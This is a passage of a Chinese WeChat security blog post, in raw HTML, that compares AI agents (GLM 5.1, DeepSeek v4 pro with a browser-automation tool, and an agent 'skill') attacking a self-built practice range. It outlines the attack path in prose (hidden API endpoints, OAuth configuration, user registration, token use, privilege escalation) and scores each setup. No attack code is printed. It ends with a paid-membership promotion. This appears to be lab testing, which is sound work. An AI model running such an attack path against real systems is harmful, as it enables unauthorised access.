src="https://wechat2rss.xlab.app/img-proxy/?k=47b7b9d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F16lHuWzRRdtIVZEzYGDV5gxyBic2Uul2lhwcsufnmNFvyGKDicYGQnt35k0ia1g2fIPEeicEuVhfRdwSADFvR9gwuDJPAz4cIjwsg2xAKVT2EMY%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">这里开始就陷入了死循环了，一直在找提升权限的接口或方法。</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">最终没找到，结束了这次渗透</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">目前的流程是</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">查看前端内容，读取js中的接口，发现隐藏接口，找到了oauth的配置，然后无法利用，又去看接口，发现了注册接口，注册了用户添加了oauth配置，可以返回有效token然后获取系统接口数据，发现大部分没权限</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">给了四次提示，最后直接告诉他对应的参数，才完整复现。</span></span><page></page></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.1859205776173285" data-w="1108" style="width:553.47998046875px;height:656.3400268554688px;" src="https://wechat2rss.xlab.app/img-proxy/?k=86f6e828&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F16lHuWzRRduLbsiaNr6wjhn9X0DJQKCha3bicV2JhDGL6BGQEu9ibN76NDGKvzDrKSkveR4eUK6cIhjuKNbjLrFMEoZic9VKIce5UiaialP8IraPw%2F640%3Fwx_fmt%3Dpng"/></span></span></p><h3 data-pm-slice="0 0 []"><b><span style="mso-spacerun:&#39;yes&#39;;font-family:宋体;mso-ascii-font-family:Calibri;mso-hansi-font-family:Calibri;mso-bidi-font-family:&#39;Times New Roman&#39;;font-weight:bold;font-size:16.0000pt;mso-font-kerning:1.0000pt;"><font face="宋体"><span leaf="">方案</span></font><font face="Calibri"><span leaf="">2</span></font><font face="宋体"><span leaf="">：</span></font></span></b><b><span style="mso-spacerun:&#39;yes&#39;;font-family:Calibri;mso-fareast-font-family:宋体;mso-bidi-font-family:&#39;Times New Roman&#39;;font-weight:bold;font-size:16.0000pt;mso-font-kerning:1.0000pt;"><span leaf="">Glm 5.1</span></span></b><b><span style="mso-spacerun:&#39;yes&#39;;font-family:宋体;mso-ascii-font-family:Calibri;mso-hansi-font-family:Calibri;mso-bidi-font-family:&#39;Times New Roman&#39;;font-weight:bold;font-size:16.0000pt;mso-font-kerning:1.0000pt;"><font face="Calibri"><span leaf="">+ chrome-devtools-mcp </span></font><font face="宋体"><span leaf="">渗透</span></font></span></b></h3><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">首先需要安装node，然后安装chrome-devtools-mcp</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf="">npm install chrome-devtools-mcp</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">然后点击右上角的mcp按钮，配置这几行代码就可以了，再开启允许按钮就可以了</span></span><page></page></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.3727344365642238" style="width:553.739990234375px;height:206.26998901367188px;" data-w="1269" src="https://wechat2rss.xlab.app/img-proxy/?k=958ecdaf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F16lHuWzRRdt4B5Yt3Xcc8HjiapDqaUbo4vxPx8NXjEWyz1XhobnREjsmZUZJz8xd3qGnXW394kqGgA5rdJk7KAlAN3jTspjibl4zugDYzaL1g%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.2685589519650655" data-w="916" style="width:458.010009765625px;height:581.010009765625px;" src="https://wechat2rss.xlab.app/img-proxy/?k=e44b6e6f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F16lHuWzRRdtRvkibCA74XLg0UFbvicwEhfl7WzNJfRWaJXe80Stog5bwdYJasfb70Yzic3COw1vgrx1la8sFSq6VAk6RIm7CyOxdj3CiapKw82U%2F640%3Fwx_fmt%3Dpng"/></span></span></p><page></page><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.1138952164009113" data-w="878" style="width:359.17999267578125px;height:400.0899963378906px;" src="https://wechat2rss.xlab.app/img-proxy/?k=064d7ae8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F16lHuWzRRdstqsg7o2hPr4M874EeVFxrbCibQLRAG3ZDf0kiaxQfNC6nG4T39ofYGHSIsTicv200hjicZLqYUrtvNF1szMPib0oiaWxtLmHVcicaco%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="1.135857461024499" style="width:368.1400146484375px;height:418.1300048828125px;" data-w="898" src="https://wechat2rss.xlab.app/img-proxy/?k=bc83c3a8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F16lHuWzRRdsFcAk9Dib1MaEIqFKTEE23TwHANPT3XHuk8aggibJKUfGntMepOusFIkk75qcFOZX8T6VU2VVnUq8TbCjibqEfgbpibPJ0xHMdtMc%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">同样提示四次，才完整复现</span></span><page></page></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.1561085972850678" data-w="884" style="width:438.70001220703125px;height:507.2099609375px;" src="https://wechat2rss.xlab.app/img-proxy/?k=42e19ba6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F16lHuWzRRdsGXbXg4dxDnhXTC9MGJTOjQcv8daM5s0X8psJcI255lylAVLiaBU7ibQz6f2qqRiaibMf2goPvcecichGFgyZrZnOPyhK9L3lMiaHSY%2F640%3Fwx_fmt%3Dpng"/></span></span></p><h3 data-pm-slice="0 0 []"><b><span style="mso-spacerun:&#39;yes&#39;;font-family:宋体;mso-ascii-font-family:Calibri;mso-hansi-font-family:Calibri;mso-bidi-font-family:&#39;Times New Roman&#39;;font-weight:bold;font-size:16.0000pt;mso-font-kerning:1.0000pt;"><font face="宋体"><span leaf="">方案</span></font><font face="Calibri"><span leaf="">2</span></font></span></b><b><span style="mso-spacerun:&#39;yes&#39;;font-family:Calibri;mso-fareast-font-family:宋体;mso-bidi-font-family:&#39;Times New Roman&#39;;font-weight:bold;font-size:16.0000pt;mso-font-kerning:1.0000pt;"><span leaf="">.1</span></span></b><b><span style="mso-spacerun:&#39;yes&#39;;font-family:宋体;mso-ascii-font-family:Calibri;mso-hansi-font-family:Calibri;mso-bidi-font-family:&#39;Times New Roman&#39;;font-weight:bold;font-size:16.0000pt;mso-font-kerning:1.0000pt;"><font face="宋体"><span leaf="">：</span></font></span></b><b><span style="mso-spacerun:&#39;yes&#39;;font-family:Calibri;mso-fareast-font-family:宋体;mso-bidi-font-family:&#39;Times New Roman&#39;;font-weight:bold;font-size:16.0000pt;mso-font-kerning:1.0000pt;"><span leaf="">DeepSeek v4 pro</span></span></b><b><span style="mso-spacerun:&#39;yes&#39;;font-family:宋体;mso-ascii-font-family:Calibri;mso-hansi-font-family:Calibri;mso-bidi-font-family:&#39;Times New Roman&#39;;font-weight:bold;font-size:16.0000pt;mso-font-kerning:1.0000pt;"><font face="Calibri"><span leaf="">+ chrome-devtools-mcp </span></font><font face="宋体"><span leaf="">渗透</span></font></span></b></h3><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">突发奇想，最近 DeepSeek v4 pro 模型挺厉害的，于是我充了 10 块钱测试一下，看看它的效果如何，结果大跌眼镜！！！</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf="">Claude code + DeepSeek v4 pro + chrome_mcp</span></span><page></page></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.9596309111880046" style="width:553.739990234375px;height:531.4099731445312px;" data-w="1734" src="https://wechat2rss.xlab.app/img-proxy/?k=ab6d797b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F16lHuWzRRdtPMwbiaOiazia7Hia2yH7bX45EXGCHI8ftyT7FXHpSO4QdCtM8U1QlqlgL6HNbG45nEgJ0jrzWaq4xIGx1gSxXmvqQOFLHnuoXicEE%2F640%3Fwx_fmt%3Dpng"/></span></span><page></page></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.9357682619647355" data-w="1588" style="width:553.739990234375px;height:518.1400146484375px;" src="https://wechat2rss.xlab.app/img-proxy/?k=f0177d5f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F16lHuWzRRdupfd4rsYYAeaxGcmuhbTUvEoWzlsy2ibYibSEKl9jyXic7Ztv18YSun53libBu4ksEndibWZ7tO9dOpsOx2d70GbadCPu7hn1WEVaY%2F640%3Fwx_fmt%3Dpng"/></span></span><page></page></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.067238912732475" data-w="1398" style="width:553.739990234375px;height:590.9400024414062px;" src="https://wechat2rss.xlab.app/img-proxy/?k=826a3709&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F16lHuWzRRdsWrfns01RFFkQz6slUqGGiccZSib2I6y99E7gJuheLxzwosmdMxt4KTeNvgYC8oAUJUz9uN9NmEUsKPe9XlicibKk6PkNwVc7zc54%2F640%3Fwx_fmt%3Dpng"/></span></span><page></page></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8624641833810889" data-w="1396" style="width:553.739990234375px;height:477.6099853515625px;" src="https://wechat2rss.xlab.app/img-proxy/?k=a3fad42f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F16lHuWzRRdsIHI7tOStArNnJaQx1bLrY3xiaFOtxzWxzNibicr89qahnqf3FGiaMX3h0Nzt9pGaGwkDiad67GUWRUX7Apd64NgwhPNSr31oQbiaSs%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5956703910614525" data-w="2864" style="width:553.739990234375px;height:329.8699951171875px;" src="https://wechat2rss.xlab.app/img-proxy/?k=57b047e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F16lHuWzRRdtAsDf2EclAuJpzsbmURQVZV2ibmqiaLkicMzjwQ5FibCFUFyeWHqjb5fcSDJQXicKJPyoXoveO5iaMoXhSmOwcyT4kclBrH3zVaUiaYA%2F640%3Fwx_fmt%3Dpng"/></span></span><page></page></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7151230949589683" data-w="1706" style="width:553.739990234375px;height:396.010009765625px;" src="https://wechat2rss.xlab.app/img-proxy/?k=cad22859&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F16lHuWzRRdvMlmMiclBjUEyWoobgPicvT3W5nric2lm9lQBKS73IY6ekQtuqZH4NZRuBBXLOjuaZwBfKOLNOFLmM1Xk6o5vqRNicSKqpSmzx4xw%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.35202702702702704" data-w="2960" style="width:553.739990234375px;height:194.94000244140625px;" src="https://wechat2rss.xlab.app/img-proxy/?k=ab9ea63d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F16lHuWzRRdvz8xtxmBiazZmlaxyia6DvsPPwPfMlP8iaeXaGfN6Kr10LAozZ5hGcNE39hKESYjwekSX2WwMzh66mo8ZAPoS1yTxWoTvHktpRCo%2F640%3Fwx_fmt%3Dpng"/></span></span></p><h3 data-pm-slice="0 0 []"><b><span style="mso-spacerun:&#39;yes&#39;;font-family:宋体;mso-ascii-font-family:Calibri;mso-hansi-font-family:Calibri;mso-bidi-font-family:&#39;Times New Roman&#39;;font-weight:bold;font-size:16.0000pt;mso-font-kerning:1.0000pt;"><font face="宋体"><span leaf="">方案</span></font><font face="Calibri"><span leaf="">3</span></font><font face="宋体"><span leaf="">：</span></font><font face="Calibri"><span leaf="">ai agent + skill </span></font><font face="宋体"><span leaf="">渗透</span></font></span></b></h3><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf="">Skill 如下</span></span><page></page></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="2.5471014492753623" data-w="552" style="width:277.3399963378906px;height:706.4099731445312px;" src="https://wechat2rss.xlab.app/img-proxy/?k=c21cc2a0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F16lHuWzRRdvTER3QibIicRtbMlGaic1Z6CSPlCTsPESx5JBC87djaOiaQeAYia3ic3EeZS3frAOJUDz5OtvTicDI0Z9SSqkiaIzOnS2p63aZV0Lq1so%2F640%3Fwx_fmt%3Dpng"/></span></span><page></page></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.099337748344371" data-w="906" style="width:409.7099609375px;height:450.4100341796875px;" src="https://wechat2rss.xlab.app/img-proxy/?k=ad374b0c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F16lHuWzRRdvQL5BZ5cNoCZ24tGxzhIaia3niaQUheUMjZjjwnTOdRbyiadLicg2icq6VpeqKH5Eka3V9R0IRIheywH4Zpmc7zTB73CUPxnWUBhp8%2F640%3Fwx_fmt%3Dpng"/></span></span><page></page></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.9459459459459459" data-w="888" style="width:553.739990234375px;height:523.8099975585938px;" src="https://wechat2rss.xlab.app/img-proxy/?k=7203e076&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F16lHuWzRRdtXS9oCHB5FwvJ35icSC2TiafBnFLkGUZTVEkNYDsJn4MfubLRkUynhvIYVZdb4MErt8L6gOOzw1mOdjOtC9E9prq2qU2S15YEls%2F640%3Fwx_fmt%3Dpng"/></span></span><page></page></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8137472283813747" data-w="902" style="width:553.739990234375px;height:450.6099853515625px;" src="https://wechat2rss.xlab.app/img-proxy/?k=06c64b74&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F16lHuWzRRdtibFicve6olcqmDo08552fRP23c3kw3GSiciby2mEicTZIPwZkYjwCciaibAS6EqX6TYAR2cggB8hwQLQ1cEszqK00H9FQNHwfibCVQiaQ%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.2813953488372093" style="width:553.739990234375px;height:155.79998779296875px;" data-w="860" src="https://wechat2rss.xlab.app/img-proxy/?k=b283c6cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F16lHuWzRRdvhx0NxpV2O36SN0jCqg1BoYgTHyxMjdoGoyLDReGAJiaaA0OABviaF5KpNlQSlZgtcYnoQLBTsEwCFBuhhHvKJv5Y8Tald3Rq2Y%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3518930957683742" data-w="898" style="width:553.739990234375px;height:194.8699951171875px;" src="https://wechat2rss.xlab.app/img-proxy/?k=e7115b51&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F16lHuWzRRdtNHepNsZxGVXtJYcC9rT2DgmVcxlVLjtWrUmbibM6W2ic0venBEAExmicBq5GeSHc8ZABBWNkLiaTiaexG4Ndu5JxsS4IeadiciaMV60%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">最终漏洞</span></span><page></page></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8934240362811792" data-w="882" style="width:553.739990234375px;height:494.739990234375px;" src="https://wechat2rss.xlab.app/img-proxy/?k=5c2a908a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F16lHuWzRRdvbcQvYCbpWKMwf42qO9Picc1CzgAbIKx8XldANte1N6Anibr3S4ibEiavVpprIzRIiafSUMLxcHnRYgzCXzvrRcDdfsBNWjpXoGMNU%2F640%3Fwx_fmt%3Dpng"/></span></span></p><h3 data-pm-slice="0 0 []"><b><span style="mso-spacerun:&#39;yes&#39;;font-family:宋体;mso-ascii-font-family:Calibri;mso-hansi-font-family:Calibri;mso-bidi-font-family:&#39;Times New Roman&#39;;font-weight:bold;font-size:16.0000pt;mso-font-kerning:1.0000pt;"><font face="宋体"><span leaf="">总结</span></font></span></b></h3><table style="border: none;border-collapse: collapse;mso-border-top-alt: solid windowtext 0.5pt;mso-border-left-alt: solid windowtext 0.5pt;mso-border-bottom-alt: solid windowtext 0.5pt;mso-border-right-alt: solid windowtext 0.5pt;mso-padding-alt: 0pt 5.4pt 0pt 5.4pt;width: 100%;"><tbody><tr><td data-colwidth="189" width="189" valign="middle" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-align:center;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf="">AI 自动化渗透</span></span></p></td><td data-colwidth="189" width="189" valign="middle" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-align:center;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">漏洞细节</span></span></p></td><td data-colwidth="189" width="189" valign="middle" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-align:center;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">效果</span></span></p></td></tr><tr><td data-colwidth="189" width="189" valign="middle" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-align:center;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">方案 1：AI自主渗透</span></span></p></td><td data-colwidth="189" width="189" valign="middle" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-align:center;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf="">70%</span></span></p></td><td data-colwidth="189" width="189" valign="middle" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-align:center;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">中等偏上</span></span></p></td></tr><tr><td data-colwidth="189" width="189" valign="middle" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-align:center;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">方案 2： Glm 5.1 + chrome_mcp</span></span></p></td><td data-colwidth="189" width="189" valign="middle" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-align:center;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf="">70%</span></span></p></td><td data-colwidth="189" width="189" valign="middle" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-align:center;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">中等偏上</span></span></p></td></tr><tr><td data-colwidth="189" width="189" valign="middle" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-align:center;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">方案 2.1：DeepSeek +chrom_mcp</span></span></p></td><td data-colwidth="189" width="189" valign="middle" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-align:center;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf="">80%</span></span></p></td><td data-colwidth="189" width="189" valign="middle" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-align:center;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">屌爆了</span></span></p></td></tr><tr><td data-colwidth="189" width="189" valign="middle" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-align:center;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">方案 3: AI + skill </span></span></p></td><td data-colwidth="189" width="189" valign="middle" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-align:center;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf="">10%</span></span></p></td><td data-colwidth="189" width="189" valign="middle" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-align:center;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">拉完了</span></span></p></td></tr></tbody></table><page></page><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">我靠，我是真没想到，GLM 5.1 写的靶场，被 DeepSeek v4 pro 发现了 bug，并利用 bug 完美提权。Glm 自己竟然没发现后端代码有问题。DeepSeek v4 果然名不虚传。 修改 bug 后再次测试，就不行了，也是给了四次提示才能成功。</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">本次实验得到的结果：</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">ai 在多层逻辑漏洞还是存在不足。</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">国外模型暂未测试。</span></span></p><p style="text-align: center;" data-pm-slice="2 2 []"><span leaf="">如果你是一个长期主义者，欢迎加入我的知识星球，本星球日日更新,包含号主大量一线实战,全网独一无二，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款</span></p><p style="text-align: center;" data-pm-slice="2 2 []"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012574" data-ratio="0.5493333333333333" data-s="300,640" data-w="750" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=033161f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYmmVSe19Qj5EMr3X76qdKBrhIIkBlVVyuiaiasseFZ9LqtibyKFk7gXvgTU2C2yEwKLaaqfX0DL3eoH6gTcNLJvDQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p><span style="box-sizing: border-box;text-align: center;display: inline-block;height: 38px;line-height: 42px;color: rgb(72, 179, 120);background-position: left center;background-repeat: no-repeat;background-attachment: initial;background-origin: initial;background-clip: initial;background-size: 63px;margin-top: 38px;font-size: 18px;margin-bottom: 10px;"><span leaf="">往期回顾</span></span></p><h1 data-pm-slice="0 0 []"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497813&amp;idx=1&amp;sn=c778ad6a4bffd7a0a72a900144ea90ca&amp;scene=21#wechat_redirect" textvalue="如何利用ai辅助挖漏洞" data-itemshowtype="0" linktype="text" data-linktype="2">如何利用ai辅助挖漏洞</a></span></h1><h1 data-pm-slice="0 0 []"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497880&amp;idx=1&amp;sn=b9b980464333074216b55ea94c8a743a&amp;scene=21#wechat_redirect" textvalue="如何在移动端抓包-下" data-itemshowtype="0" linktype="text" data-linktype="2">如何在移动端抓包-下</a></span></h1><h1 data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;h1&#34;,&#34;attributes&#34;:{&#34;id&#34;:&#34;activity-name&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497491&amp;idx=1&amp;sn=a1b00b9a8a54eb96aa3ba8bf23cb7e28&amp;scene=21#wechat_redirect" textvalue="如何绕过签名校验" data-itemshowtype="0" linktype="text" data-linktype="2">如何绕过签名校验</a></span></h1><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247495880&amp;idx=1&amp;sn=65d42fbff5e198509e55072674ac5283&amp;chksm=e8a5faabdfd273bd55df8f7db3d644d3102d7382020234741e37ca29e963eace13dd17fcabdd&amp;scene=21#wechat_redirect" textvalue="一款bp神器" data-itemshowtype="0" linktype="text" 